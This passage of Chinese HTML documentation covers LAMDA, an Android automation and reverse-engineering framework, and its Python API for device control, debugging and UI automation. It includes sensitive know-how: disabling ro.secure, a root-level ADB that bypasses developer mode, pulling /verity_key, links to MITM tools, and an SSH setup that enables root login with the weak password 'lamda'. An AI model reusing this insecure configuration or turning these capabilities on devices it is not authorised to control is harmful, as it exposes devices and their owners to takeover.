获取一个键值容器对象 container = storage.use("container_name") # 存储在 Storage 中的 key_name 和 container_name 是安全的 # 无法通过任何方式读取原始字符串,你必须完整知道容器名称以及 key 才能从容器中读取数据 # 如果还需要安全的存储值,比如,当该设备会被其他人使用,但是你不想存储的配置被其他人读取, # 你可以像以下示例,提供加解密方法,这样即使 LAMDA 被非法访问 # 非预期的访问者也无法解密容器中存储的任何明文信息 from lamda.client import FernetCryptor # 获取键值容器对象,对该容器的读写均通过 FernetCryptor 加解密 container = storage.use("container_name", cryptor=FernetCryptor, key="this_is_password") # 当然,你也可以自己编写加解密流程 from lamda.client import BaseCryptor class MyCryptor(BaseCryptor): def __init__(self, cryptor_arg=0): # 这里写入你的加解密初始化过程 def encrypt(self, data): # 这里写入你的加密过程 return data def decrypt(self, data): # 这里写入你的解密过程 return data # 获取键值容器对象,对该容器的读写均通过 MyCryptor 加解密 container = storage.use("container_name", cryptor=MyCryptor, cryptor_arg=999) # 获取 key_name 的值(如果不存在,则返回 None) container.get("key_name") # 获取 key_name 的生存时间(-2 为该键不存在,-1 为无限生存时间) # 其他正整数则为该 key 的剩余存活秒数 container.ttl("key_name") # 设置 key_name 的值为 "value",并且 10 秒后自动删除 container.setex("key_name", "value", 10) # 设置 key_name 的生存时间为 60 秒 # 60 秒后,该键值将自动被删除 container.expire("key_name", 60) # 仅当 key_name 不存在时设置该键值 container.setnx("key_name", "value") # 设置 key_name 的值为 "value" # 其中,值支持任何 msgpack 可序列化的变量 container.set("key_name", [1, 2, 3]) container.set("key_name", {"john": "due"}) container.set("key_name", b"value") container.set("key_name", "value") # 检查 key_name 是否存在于容器中 container.exists("key_name") # 删除 key_name container.delete("key_name") </code></pre> <h2>读写系统属性</h2> <blockquote> <p>设置/读取系统属性</p> </blockquote> <pre><code class="language-python"># 获取 ro.secure 的值 d.getprop("ro.secure") # 设置 ro.secure 的值 d.setprop("ro.secure", "0") </code></pre> <h2>读写系统设置</h2> <blockquote> <p>设置/读取安卓系统设置</p> </blockquote> <pre><code class="language-python">settings = d.stub("Settings") # 如果你对以下 screen_brightness 等字符串表示疑惑,请查看下列文档。有些常量 # 在不同版本的安卓可能并不兼容,以及部分厂商会有自定义的变量,需要注意。 # https://developer.android.com/reference/android/provider/Settings.System # https://developer.android.com/reference/android/provider/Settings.Secure # https://developer.android.com/reference/android/provider/Settings.Global # 你可以使用如下代码将系统屏幕的亮度设置为手动 settings.put_system("screen_brightness_mode", "0") # 示例:获取并修改屏幕亮度为 5 (0-255) settings.get_system("screen_brightness") settings.put_system("screen_brightness", "5") # 示例:关闭开发者选项 settings.get_global("development_settings_enabled") settings.put_global("development_settings_enabled", "0") # 示例 settings.get_secure("screensaver_enabled") settings.put_secure("screensaver_enabled", "0) </code></pre> <h2>获取设备运行状态</h2> <pre><code class="language-python">status = d.stub("Status") # 获取设备启动时间 status.get_boot_time() # 获取设备磁盘使用情况 status.get_disk_usage(mountpoint="/data") # 获取电池信息 status.get_battery_info() # 获取CPU使用情况 status.get_cpu_info() # 获取总体磁盘读写情况 status.get_overall_disk_io_info() # 获取用户数据磁盘的读写情况 (userdata) status.get_userdata_disk_io_info() # 获取总体网络收发情况 status.get_overall_net_io_info() # 获取 wlan0 接口的网络收发情况 status.get_net_io_info("wlan0") # 获取内存使用情况 status.get_mem_info() </code></pre> <h2>在设备上执行命令</h2> <blockquote> <p>在设备后台,前台执行 shell 脚本/命令</p> </blockquote> <pre><code class="language-python"># 执行前台脚本(执行时间短(0-10秒内)的脚本) cmd = d.execute_script("whoami") print (cmd.exitstatus) print (cmd.stdout) print (cmd.stderr) # 执行后台脚本(执行时间长的脚本) # 对于后台脚本,因考虑可能用户写出死循环脚本无限输出导致内存占满等问题 # 暂时无法获知其执行结果 ID = d.execute_background_script("sleep 100; exit 0;") # 检查后台脚本是否结束 d.is_background_script_finished(ID) # 强制结束后台脚本 d.kill_background_script(ID) </code></pre> <h2>使系统可调试</h2> <p>如果你需要使用JEB,IDA等动态分析,你可能需要设置此标志才能进行,当然也内置了这个功能,你可以这么做而无需永久修改 <code>ro.debuggable</code>。 但是记住,这个接口你并不是一定需要调用,仅当你看到任何文章/教程让你修改 <code>ro.debuggable</code> 时使用。</p> <p>注意:调用此接口成功后,系统会自动重启,你可能仍需像首次启动时等待一段时间到本框架恢复</p> <blockquote> <p>慎用,此功能可能不稳定且可能随时移除</p> </blockquote> <pre><code class="language-python">debug = d.stub("Debug") r = debug.set_debuggable() print (r) </code></pre> <h2>启动 IDA 调试服务</h2> <blockquote> <p>内置了 IDA 7.5 服务端</p> </blockquote> <pre><code class="language-python">debug = d.stub("Debug") # 启动 IDA 32 服务端(端口可自定义) debug.start_ida(port=22032) # 检查是否已启动 debug.is_ida_running() # 关闭 IDA 32 服务端 debug.stop_ida() # 如果调试的是64位程序,将方法名中的 ida 替换为 ida64 即可 # 例如 debug.start_ida64(port=22064) # # 如果需要自定义 ida-server 的环境变量例如 IDA_LIBC_PATH (同样适用于 start_ida) debug.start_ida64(port=22064, IDA_LIBC_PATH="/apex/com.android.runtime/lib64/bionic/libc.so") # 当你调试的目标程序是32位时使用 start_ida # 否则使用 start_ida64 # 当你的设备系统为32位平台时,start_ida64 将会无效 </code></pre> <h2>无线连接内置的 WIFI ADB</h2> <p>此 ADB 非全功能 adb,仅支持 shell,pull,push,forward,reverse 等常用功能 通过此功能你将<strong>无需开启开发者模式</strong>即可连接最高权限的 adb。</p> <blockquote> <p>注:jdwp 调试相关功能具有唯一性,与系统内置存在冲突所以此 adb <strong>目前</strong>不支持。</p> </blockquote> <pre><code class="language-python"># LAMDA 内置的 adb 服务完全独立于系统本身提供的 adb 服务 # 所以在使用之前需要先手动调用以下接口将你的 adb 公钥安装至设备上 # 否则直接连接将会显示未授权(系统设置开发者模式中授权的秘钥与内置 adb 并不通用) # # tools 目录下的 adb_pubkey.py 封装了下面接口的安装过程 # 你可以使用该脚本一键授权,允许本机连接,请查看其 README,以下代码仅做参考说明 # # 这个秘钥文件位于你电脑上的 ~/.android 或者 C:\\Users\xxxx\.android,文件名为 adbkey.pub # 如果不存在这个文件但是存在文件 adbkey,请切换到该目录并执行命令 # adb pubkey adbkey &gt;adbkey.pub 来生成 adbkey.pub # # 随后使用 python 代码来拼接这个生成的 adbkey.pub 路径 import os keypath = os.path.join("~", ".android", "adbkey.pub") abs_keypath = os.path.expanduser(keypath) print (abs_keypath) # # 然后安装这个 adbkey.pub 到 LAMDA d.install_adb_pubkey(abs_keypath) # 这样你就可以连接内置 adb 了 # 通过命令 adb connect 192.168.0.2:65000 连接到设备 # 你完全可以将其理解为 WIFI ADB # # 或者如果你需要从 LAMDA 内置 adb 移除这个公钥 d.uninstall_adb_pubkey(abs_keypath) </code></pre> <h2>文件操作</h2> <blockquote> <p>将文件上传至设备或从其下载文件(支持大文件)</p> </blockquote> <pre><code class="language-python"># 下载文件到本地 d.download_file("/verity_key", "写入到的本地文件") # 下载文件到 内存/已打开的文件 from io import BytesIO fd = BytesIO() d.download_fd("/verity_key", fd) print (fd.getvalue()) # 注意必须使用 w+b 模式打开被写入文件 fd = open("写入到的本地文件", "wb") d.download_fd("/verity_key", fd) # 上传文件到设备 d.upload_file("本地文件路径.txt", "/data/usr/上传到设备上的文件.txt") # 从 内存/已打开的文件 上传文件 from io import BytesIO d.upload_fd(BytesIO(b"fileContent"), "/data/usr/上传到设备上的文件.txt") # 注意必须使用 rb 模式打开文件 fd = open("myfile.txt", "rb") d.upload_fd(fd, "/data/usr/上传到设备上的文件.txt") # 删除设备上的文件 d.delete_file("/data/usr/文件.txt") # 修改设备上的文件权限 d.file_chmod("/data/usr/文件.txt", mode=0o777) # 获取设备上文件的信息 d.file_stat("/data/usr/文件.txt") </code></pre> <h2>关机重启</h2> <pre><code class="language-python"># 关闭系统(等于关机) d.shutdown() # 重启系统(等于重启) d.reboot() # 关闭设备上运行的 LAMDA 服务 d.exit() </code></pre> <h2>应用操作</h2> <blockquote> <p>列出系统上已安装的所有应用的ID</p> </blockquote> <pre><code class="language-python">d.enumerate_all_pkg_names() </code></pre> <blockquote> <p>列出设备上所有正在运行的应用</p> </blockquote> <pre><code class="language-python">d.enumerate_running_processes() </code></pre> <blockquote> <p>获取当前处于前台的应用</p> </blockquote> <pre><code class="language-python">d.current_application() # 等价于 d.application(d.current_application().applicationId) # 获取当前前台的 activity d.current_application().activity </code></pre> <blockquote> <p>启动、获取 Activity</p> </blockquote> <pre><code class="language-python"># 导入 FLAG_ACTIVITY* 常量定义 from lamda.const import * # 获取系统中最近的5条活动(最多12条) activities = d.get_last_activities(count=5) print (activities) # 你可以直接重放最后一条活动(注意并不是所有活动都可以重放) activity = activities[-1] print (activity) d.start_activity(**activity) # 手动组装 activity 信息 # 附加数据只支持 boolean, int, short, long, double, float 以及 string 类型 d.start_activity(action="***", category="***", component="***", extras={"boolean": False, "int": 1, "string": "act", "float": 1.123}, flags=FLAG_ACTIVITY_NEW_TASK|FLAG_ACTIVITY_CLEAR_TASK, data="***", debug=False) # flags 的定义请参考文档 # https://developer.android.com/reference/android/content/Intent#FLAG_ACTIVITY_BROUGHT_TO_FRONT # flags 以及 debug 参数不是必须的,只是多了一种可能 # 拨打 10000 客服电话 d.start_activity(action="android.intent.action.CALL", data="tel:10000") # debug 参数代表:是否以调试模式启动该活动 # 如果你知道 Waitting for debugger,那么它可能对你有用 # 你可以像下面这样以调试模式启动一个应用(你的设备或者APP需要是可调试的) la = d.application("com.android.settings").query_launch_activity() d.start_activity(**la, debug=True) # 例如:启动 设置 APP(当然这几乎等价于直接启动app) d.start_activity(action="android.intent.action.MAIN", category="android.intent.category.LAUNCHER", component="com.android.settings/.Settings") # 例如:进入证书设置 d.start_activity(action="com.android.settings.TRUSTED_CREDENTIALS") </code></pre> <blockquote> <p>授予/撤销 APP 权限</p> </blockquote> <p>注意,你应在APP未启动时进行权限设置,在APP请求权限时调用并不会产生帮你点击允许的效果。</p> <pre><code class="language-python">app = d.application("com.my.app") #导入 PERMISSION_READ_PHONE_STATE 常量(版本&gt;3.90) from lamda.const import * # 获取应用所有权限 app.permissions() # 授予 READ_PHONE_STATE 权限 app.grant(PERMISSION_READ_PHONE_STATE, mode=GrantType.GRANT_ALLOW) # 拒绝 READ_PHONE_STATE 权限 app.grant(PERMISSION_READ_PHONE_STATE, mode=GrantType.GRANT_DENY) # 检查是否已授予权限 app.is_permission_granted(PERMISSION_READ_PHONE_STATE) # 撤销已授予的权限 app.revoke(PERMISSION_READ_PHONE_STATE) </code></pre> <blockquote> <p>清除应用缓存,重置应用</p> </blockquote> <pre><code class="language-python"># 删除应用的缓存数据 app = d.application("com.my.app") app.delete_cache() # 重置应用数据 app.reset_data() </code></pre> <blockquote> <p>启动/停止应用</p> </blockquote> <pre><code class="language-python">app = d.application("com.my.app") # 启动应用 app.start() # 检查应用是否正在前台运行 app.is_foreground() # 关闭应用 app.stop() </code></pre> <blockquote> <p>其他</p> </blockquote> <pre><code class="language-python">app = d.application("com.my.app") # 获取应用信息 app.info() # 检查应用是否已安装 app.is_installed() # 卸载应用 app.uninstall() # 查询该应用的启动 Activity(入口活动) app.query_launch_activity() # 启用应用 app.enable() # 禁用应用 app.disable() </code></pre> <h2>WIFI操作</h2> <p>目前WIFI操作部分功能由于可能导致设备异常未实现,仅介绍部分实现的功能</p> <pre><code class="language-python">wifi = d.stub("Wifi") # 获取wifi bssid,ssid ip 等相关信息 wifi.status() # 获取黑名单中的所有 bssid wifi.blacklist_get_all() # 将bssid加入黑名单(将不会显示在wifi列表) wifi.blacklist_add("3c:06:aa:8a:55:66") # 清空所有黑名单 wifi.blacklist_clear() # 执行 wifi 扫描 wifi.scan() # 获取周边 wifi 扫描结果 wifi.scan_results() # 获取当前wifi的mac地址 wifi.get_mac_addr() # 获取 wifi 信号强度,链接速率 wifi.signal_poll() </code></pre> <h2>基本UI操作</h2> <blockquote> <p>获取设备信息</p> </blockquote> <pre><code class="language-python">d.device_info() </code></pre> <blockquote> <p>息屏/亮屏相关</p> </blockquote> <pre><code class="language-python"># 息屏 d.sleep() # 亮屏 d.wake_up() # 屏幕是否点亮 d.is_screen_on() # 屏幕是否已锁定 d.is_screen_locked() </code></pre> <blockquote> <p>剪切板</p> </blockquote> <pre><code class="language-python">d.set_clipboard("剪切板内容") # 获取剪切板内容(不支持安卓10+) d.get_clipboard() </code></pre> <blockquote> <p>物理按键</p> </blockquote> <pre><code class="language-python"># 此方法可使用如下17种按键 # KEY_BACK # KEY_CAMERA # KEY_CENTER # KEY_DELETE # KEY_DOWN # KEY_ENTER # KEY_HOME # KEY_LEFT # KEY_MENU # KEY_POWER # KEY_RECENT # KEY_RIGHT # KEY_SEARCH # KEY_UP # KEY_VOLUME_DOWN # KEY_VOLUME_MUTE # KEY_VOLUME_UP d.press_key(Keys.KEY_BACK) # 同时为了可以使用更多按键,也可以使用这个方法 d.press_keycode(KeyCodes.KEYCODE_CALL) # 可使用的 KEYCODE 可以自行查看此文档 # https://developer.android.com/reference/android/view/KeyEvent#KEYCODE_0 </code></pre> <blockquote> <p>屏幕截图</p> </blockquote> <pre><code class="language-python">quality = 60 # 截图质量,默认为全画质 d.screenshot(quality).save("screenshot.png") # 截取屏幕上特定区域的图像 # Bound 的参数 top,left 等定义: # top: 从距离屏幕顶部向下数 top 个像素 # bottom: 从距离屏幕顶部向下数 bottom 个像素 # left: 从距离屏幕左侧向右数 left 个像素 # right: 到距离屏幕左侧向右数 right 个像素 # 正常情况下 top 永远小于 bottom,left 永远小于 right bound = Bound(top=50, bottom=80, left=50, right=80) d.screenshot(quality, bound=bound).save("partial.png") </code></pre> <blockquote> <p>点击屏幕上的一个点</p> </blockquote> <pre><code class="language-python">d.click(Point(x=100, y=100)) </code></pre> <blockquote> <p>点按点A并将其拖动到点B</p> </blockquote> <pre><code class="language-python">A = Point(x=100, y=100) B = Point(x=500, y=500) d.drag(A, B) </code></pre> <blockquote> <p>从点A滑动到点B</p> </blockquote> <pre><code class="language-python">A = Point(x=100, y=100) B = Point(x=500, y=500) d.swipe(A, B) </code></pre> <blockquote> <p>稍复杂的多点滑动(九宫格解锁)</p> </blockquote> <pre><code class="language-python">p1 = Point(x=100, y=100) p2 = Point(x=500, y=500) p3 = Point(x=200, y=200) # 从点P1滑动到点P2随后滑动到点P3,可任意个点 d.swipe_points(p1, p2, p3) </code></pre> <blockquote> <p>打开通知栏/快捷设置栏</p> </blockquote> <pre><code class="language-python">d.open_notification() d.open_quick_settings() </code></pre> <blockquote> <p>获取页面布局描述XML</p> </blockquote> <pre><code class="language-python">d.dump_window_hierarchy().getvalue() </code></pre> <blockquote> <p>等待界面布局停止刷新</p> </blockquote> <pre><code class="language-python"># 单位是毫秒,5*1000 代表5秒 d.wait_for_idle(5*1000) </code></pre> <blockquote> <p>获取最近的 toast</p> </blockquote> <pre><code class="language-python">d.get_last_toast() </code></pre> <h2>进阶UI操作</h2> <blockquote> <p>Selector</p> </blockquote> <p>界面布局检视,首先你需要打开设备的 web 远程桌面。随后,点击远程桌面右上角的眼睛图标进入,此时你将不能再滑动左侧屏幕,你可以点击屏幕上的虚线框来查看对应元素的信息,你可以将其中的部分属性作为 Selector 的参数。 再次点击眼睛图标将关闭布局检视,布局检视并不会随着页面的改变而刷新,它始终是你按下快捷键那一刻的屏幕布局,如果需要刷新布局请手动按下快捷键 <code>CTRL+R</code>。</p> <p>正常情况下,我们只会使用 <code>resourceId</code>, <code>clickable</code>, <code>text</code>, <code>description</code> 作为参数。 如果元素存在正常的 resourceId,优先使用其作为 Selector,即:<code>Selector(resourceId="com.android.systemui:id/mobile_signal_single")</code>。 对于无 resourceId,则会使用其 text,即:<code>Selector(text="点击进入")</code>,或者更模糊一点 <code>Selector(textContains="点击")</code> description 与 text 同理,但是 description 用的会比较少。</p> <p>当然,Selector 不止可以使用一个参数,你可以做其他组合,例如 <code>Selector(text="点击进入", clickable=True)</code></p> <blockquote> <p>注意:很少直接用 Selector(),大部分情况下,使用 d() 来进行。</p> </blockquote> <p>所有常见的匹配参数:</p> <pre><code>text 文本完全匹配 textContains 文本包含匹配 textStartsWith 文本起始匹配 className 类名匹配 description 描述完全匹配 descriptionContains 描述包含匹配 descriptionStartsWith 描述起始匹配 clickable 可以点击 longClickable 可以长按 scrollable 可滚动 resourceId 资源ID匹配 </code></pre> <p>大部分情况下,你不会直接用到 <code>Selector</code>,但是间接使用无处不在。</p> <blockquote> <p>元素操作</p> </blockquote> <p>上文都是介绍了如何坐标点击这种随意性的东西,现在开始介绍如何操作固定目标元素。首先,你需要知道如何选定元素。</p> <pre><code class="language-python"># 选择界面上的包含文字 被测APP 的元素 element = d(textContains="被测APP") # 当然,你不一定要这样赋值到 element,也可直接使用 d(textContains="被测APP") </code></pre> <p>好了,现在你知道了如何获取元素了,当然,这时并没有获取到,只是代表,你想要在当前界面操作这个元素,下面开始操作。</p> <pre><code class="language-python"># 我们现在假设,界面上这个 被测APP 是手机上被测APP的图标名称(图标下面的名称)。 element = d(textContains="被测APP") # 是否存在该元素 element.exists() # 点击该元素,不存在则会抛出异常 # Corner.COR_CENTER 代表点击该元素中心点,你可查看 COR_CENTER 定义获取其他可点击的位置 element.click(corner=Corner.COR_CENTER) # 点击该元素,不存在不会抛出异常 element.click_exists(corner=Corner.COR_CENTER) # 长按该元素,不存在则会抛出异常 element.long_click(corner=Corner.COR_CENTER) # 获取元素信息 element.info() # 获取元素的中心点坐标 element.info().bounds.center() # 获取元素的左上点坐标 element.info().bounds.corner("top-left") # 获取元素的高度 element.info().bounds.height # 获取元素的宽度 element.info().bounds.width # 获取元素个数 element.count() # 等待元素出现,最多等待10秒 element.wait_for_exists(10*1000) # 等待元素消失,最多等待10秒 element.wait_until_gone(10*1000) # 获取该元素的截图(不是全屏,只是该元素) # quality 为截图质量 1-100 element.screenshot(quality=60) # 将此 APP 拖动归类到 购物 文件夹(依据实际情况修改) element.drag_to(Selector(text="购物")) ######### # 查找同级或者子级元素 ######### # 有时候会有一些重复元素或者无明显特征的元素,很难去定位 # 这时你可以通过查找子级/同级元素的方法来缩小查找范围 # 子级元素,举例为:一个聊天登录框,里面的输入框即为登录框的子级元素 # 同级元素,举例为:聊天输入框里面的用户名和密码框为同级原始(正常情况下) form = d(resourceId="login_form") form.child(index=1) # 这将获取到 login_form 下 index 为 0 的元素 form.child(index=1).sibling() # 你也这样来找与 login_form 同级的找回密码按钮 #(其实已经可以通过字符串判断了,就不需要这样做了,这里只是演示) form.sibling(textContains="找回密码") # 它们本身就是一个element,你可以对其做任何 element 的操作 ############################ # 现在 element 改变了其意义,变为选择了输入框 ############################ # 示例为:在一加搜索应用界面的搜索框输入 被测APP # 注意,不要直接往看似输入框的地方输入文字,可能并无法输入 # 有些输入框需要点击一次才会进入真正的输入框,请使用此真正输入框的资源ID element = d(resourceId="net.oneplus.launcher:id/search_all_apps") element.set_text("被测APP") # 获取输入的内容 element.get_text() # 清空刚刚输入的内容 element.clear_text_field() # 配合点击搜索,来完成一次类人的搜索操作。 # 滑动操作(列表上下滑动翻页) # 注意,这些操作并不保证精度,下面这些方法正常情况下都并不需要选择器, # 但是你可根据实际情况自行加入选择器 # 向上滑动, step 自行调整,越多会越慢,比较适合精度要求较高的滑动 d().swipe(direction=Direction.DIR_UP, step=32) # 其他滑动方向: #DIR_UP 向上滑动 #DIR_LEFT 向左滑动 #DIR_DOWN 向下滑动 #DIR_RIGHT 向右滑动 ######### # fling:甩动,即正常人滑动屏幕的行为,较快 ######### # 从上向下 d().fling_from_top_to_bottom() # 从下往上 d().fling_from_bottom_to_top() # 从左往右 d().fling_from_left_to_right() # 从右往左 d().fling_from_right_to_left() # 其他,一直向下/左右上滑,直到滑动到底 # 因为并不是一定可以滑动到底或者检测到滑动到底 # 所以 max_swipes 参数是必须的 d().fling_from_top_to_bottom_to_end(max_swipes=32) d().fling_from_bottom_to_top_to_end(max_swipes=32) d().fling_from_left_to_right_to_end(max_swipes=32) d().fling_from_right_to_left_to_end(max_swipes=32) ######### # scroll: 比较机械性的滑动 ######### step = 60 max_swipes = 32 # 从上往下滑动 step 步 d().scroll_from_top_to_bottom(step) # 从下往上滑动 step 步 d().scroll_from_bottom_to_top(step) # 从左往右滑动 step 步 d().scroll_from_left_to_right(step) # 从右往左滑动 step 步 d().scroll_from_right_to_left(step) # 其他,一直向下/左右上滑,直到滑动到底 # 同上文 fling 描述 d().scroll_from_top_to_bottom_to_end(max_swipes, step) d().scroll_from_bottom_to_top_to_end(max_swipes, step) d().scroll_from_left_to_right_to_end(max_swipes, step) d().scroll_from_right_to_left_to_end(max_swipes, step) </code></pre> <blockquote> <p>监视器</p> </blockquote> <p>监视器用来监听界面变化并在满足条件时执行设定的操作(点击元素或者按键),这可能对性能或者需要人工介入时产生影响,所以请谨慎使用,默认未开启。</p> <pre><code class="language-python"># 启动监视器循环 d.set_watcher_loop_enabled(True) # 获取监视器是否已启动 d.get_watcher_loop_enabled() # 移除系统中应用的所有 watcher,建议每次使用前都执行防止前面任务注册的未删除影响正常处理流程 d.remove_all_watchers() # 获取系统中所有已应用的 watcher 名称列表 d.get_applied_watchers() # 彻底移除一个 watcher d.remove_watcher(name) # 应用watcher到系统中(当 watcher_loop 启动,此watcher将会生效) d.set_watcher_enabled(name, True) # 取消应用 d.set_watcher_enabled(name, False) # 获取此 watcher 是否应用 d.get_watcher_enabled(name) </code></pre> <blockquote> <p>监视系统界面出现某个元素的次数</p> </blockquote> <pre><code class="language-python"># 做一些测试前的清理,当然,并不是每 register 一个就需要这样 # 只是为了确保测试过程不被干扰 d.remove_all_watchers() d.set_watcher_loop_enabled(True) # 应用监视界面出现 好的 的次数 # 第二个参数为数组,可以给多个 Selector 表示条件都满足才会记录 # 但是不建议超过三个 d.register_none_op_watcher("RecordElementAppearTimes", [Selector(textContains="好的")]) d.set_watcher_enabled("RecordElementAppearTimes", True) # ... 做满足条件的操作 # 获取记录的次数 d.get_watcher_triggered_count("RecordElementAppearTimes") # 重置记录的次数 d.reset_watcher_triggered_count("RecordElementAppearTimes") # 移除 d.remove_watcher("RecordElementAppearTimes") </code></pre> <blockquote> <p>当界面出现匹配元素时点击某个元素</p> </blockquote> <pre><code class="language-python"># 做一些测试前的清理,当然,并不是每 register 一个就需要这样 # 只是为了确保测试过程不被干扰 d.remove_all_watchers() d.set_watcher_loop_enabled(True) # 示例为,当APP启动后出现用户协议时,自动点击同意 # 第二个参数为数组,可以给多个 Selector 表示条件都满足才会点击 # 但是不建议超过三个 d.register_click_target_selector_watcher("ClickAcceptWhenShowAggrement", [Selector(textContains="用户协议")], Selector(textContains="同意", clickable=True)) d.set_watcher_enabled("ClickAcceptWhenShowAggrement", True) # ... 做满足条件的操作 # 移除 d.remove_watcher("ClickAcceptWhenShowAggrement") </code></pre> <blockquote> <p>当界面出现匹配元素时点击物理按键</p> </blockquote> <pre><code class="language-python"># 做一些测试前的清理,当然,并不是每 register 一个就需要这样 # 只是为了确保测试过程不被干扰 d.remove_all_watchers() d.set_watcher_loop_enabled(True) # 示例为,当界面存在 个人中心 时,按下HOME键回到启动屏幕 # 第二个参数为数组,可以给多个 Selector 表示条件都满足才会点击 # 但是不建议超过三个 d.register_press_key_watcher("PressBackWhenHomePageShows", [Selector(textContains="个人中心")], Keys.KEY_HOME) d.set_watcher_enabled("PressBackWhenHomePageShows", True) # ... 做满足条件的操作 # 移除 d.remove_watcher("PressBackWhenHomePageShows") </code></pre> <h2>接口锁</h2> <p>这里的基本功能让你可以锁定接口只能为当前 Device 实例使用。</p> <pre><code class="language-python"># 获得锁,此锁将在60秒后被自动释放,其他客户端将可以获得锁,你可以更改此时间 # 但是,如果改得太高因为异常脚本退出,你将近乎永远无法连接设备,你可能需要进行重启 # 此获得锁接口可重入,重入时等价于 _refresh_lock,建议只调用一次 d._acquire_lock(leaseTime=60) # 刷新锁,每次调用后将锁过期时间设为此 leaseTime # 做定期调用来保持设备锁定 d._refresh_lock(leaseTime=60) # 释放锁,其他客户端将可以获得锁 d._release_lock() </code></pre> <h2>使用内置终端</h2> <p>这里的内部终端,指的是你通过 web 远程桌面或者 ssh/内置adb 连接的终端,里面内置了一些命令以及Python模块,你可以 直接在里面执行一些操作或者运行一些 Python 代码,甚至可以直接在终端内完成自控,由于兼容性考虑,adb 连接的终端不存在部分命令提示等功能。</p> <blockquote> <p>现在假设你已经打开了 web 远程桌面,你应该已经在页面上看到了一个 linux 终端。 执行命令 <code>cd</code> 可以切换到家目录(默认为 <code>/data/usr</code>),这是你的工作区,你可以在此存储文件。终端支持命令补全但不支持参数补全,你也可以在终端输入部分命令,随后通过上下键自动填补历史命令。同时,内部提供了一些命令别名,这些命令别名及功能如下。</p> </blockquote> <pre><code>l = 命令 ls ll = 命令 ls -l la = 命令 ls -la py = 命令 python .. = 切换到父目录 ... = 切换到父目录的父目录 p = 切换到上一个目录 t = 切换到 /data/local/tmp </code></pre> <blockquote> <p>其他一些实用命令。</p> </blockquote> <pre><code>* python (Python) * strace (syscall trace) * ltrace (libcall trace) * curl (cURL) * fsmon (文件访问监控) * stunnel (流量加密) * redir (端口转发) * scapy (流量分析) * iperf3 (网络性能测试) * nano (文件编辑器) * vi (文件编辑器) * ncdu (查找磁盘文件占用) * socat (网络工具) * sqlite3 (读取 SQLite 数据库,支持 cipher) * tcpdump (流量分析) * busybox (命令集合) * MemDumper (https://github.com/kp7742/MemDumper) * frida (frida-tools) * frida-ps (frida-tools) * frida-trace (frida-tools) * frida-ls-devices (frida-tools) * frida-discover (frida-tools) * frida-kill (frida-tools) * frida-apk (frida-tools) * frida-create (frida-tools) * frida-join (frida-tools) * 等基础 linux 命令 </code></pre> <blockquote> <p>Python 也内置了一些三方库,注意无法通过 PIP 安装额外的库。</p> </blockquote> <pre><code>* lamda (自身) * capstone (反汇编引擎) * keystone_engine (汇编引擎) * unicorn (CPU模拟引擎) * lief (二进制程序解析) * lxml (xml/html解析) * redis (redis客户端) * tornado (web框架) * pyOpenSSL (OpenSSL) * requests (requests) * scapy (流量分析) * frida (frida) * pyaxmlparser (APK解析) * xmltodict (xml转dict) * msgpack_python (msgpack) </code></pre> <p>这里不会介绍如何使用这些命令或库。</p> <h2>使用 Debian 环境扩展模块</h2> <p>LAMDA 可以通过一个模块创建可在安卓内使用的完整 Debian 环境,你可以使用 apt 安装软件以及进行代码编译,同样,你可以在此环境中自行编译及使用 bpf 相关程序。你可以在 release 页面中找到 <code>lamda-mod-debian-arm64-v8a.tar.gz</code>(请根据你的机器架构下载对应的安装包)。 然后通过远程桌面或者 内置 adb 等方式,将 lamda-mod-debian-arm64-v8a.tar.gz 上传到设备,随后进行如下安装操作。</p> <blockquote> <p>注:该 debian 环境只包含基础的软件包,你需要使用 apt 自行安装 git、python3 等常用命令。</p> </blockquote> <pre><code class="language-bash"># 切换到用户模块目录 cd /data/usr/modules # 假设,该文件被你上传到了 /data/local/tmp tar -xzf /data/local/tmp/lamda-mod-debian-arm64-v8a.tar.gz # 解包完成 </code></pre> <p>解包完成后,当前目录下将会存在一个 <code>debian</code> 目录,这时,你已经完成了基本的安装,下面介绍如何进入系统。</p> <pre><code class="language-bash"># 首先我们需要获知绝对目录,在以上情况下,绝对目录为 /data/usr/modules/debian # 注意:每个根(debian 根系统)同时只支持一个终端实例使用 # 执行以下命令进入 debian interactive shell debian /bin/bash # 执行一次 id 命令 debian /bin/bash -c id # # 如果你并没有将模块安装于 /data/usr/modules,则需要指定模块位置 debian --root /path/to/debian /bin/bash </code></pre> <p>下面介绍进阶使用方法,你可以使用此 debian 环境自行建立一个 ssh 服务器,或者在此 debian 环境中运行 Python 脚本。 由于每个独立的 debian 环境只支持一个终端实例使用,我们建议用 ssh 的方式,这样,你可以接入多个 shell 到此 debian 环境。 什么是 <code>只支持一个终端实例使用</code>?就是当你执行 <code>debian /bin/bash</code> 后并保持使用状态,如果你在其他地方继续执行此命令, 该命令将会返回错误,使你无法再次进入此根系统,除非你将之前的 <code>debian /bin/bash</code> 退出。</p> <p>现在,我们介绍如何在此 debian 环境中运行一个 ssh 服务以及安装基础的 Python 环境。</p> <pre><code class="language-bash"># 执行命令进入 debian shell debian /bin/bash # 现在,你应该在 debian shell 中,执行以下命令 root@localhost: apt update root@localhost: apt install -y openssh-server procps python3 python3-pip python3-dev root@localhost: echo 'PermitRootLogin yes' &gt;&gt;/etc/ssh/sshd_config root@localhost: echo 'StrictModes no' &gt;&gt;/etc/ssh/sshd_config root@localhost: mkdir -p /run/sshd root@localhost: # 修改 root 密码 root@localhost: echo root:lamda|chpasswd root@localhost: # 退出 debian 环境 root@localhost: exit # 现在,你已经进入了 lamda 的 shell 环境,执行以下命令来启动 debian 环境中的 ssh 服务 debian /usr/sbin/sshd -D -e </code></pre> <p>如果你想此 debian ssh 环境随 lamda 一同启动,请执行 <code>crontab -e</code>,并在其中写下如下规则并重启即可。</p> <pre><code class="language-bash">@reboot debian /usr/sbin/sshd -D -e &gt;/data/usr/sshd.log 2&gt;&amp;1 </code></pre> <p>现在,获取该设备的 IP 地址,随后在你的电脑上执行如下命令并输入密码 lamda 即可登录该 debian shell</p> <pre><code class="language-bash">ssh root@192.168.x.x (手机IP) </code></pre> <h1>工具及教程</h1> <p>其中的每个文件夹下都有一份使用说明。</p> <h2>一键中间人</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <h2>国际代理进行中间人</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <h2>安装 ADB 公钥</h2> <p>打开 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a> 查看。</p> <h2>OpenVPN 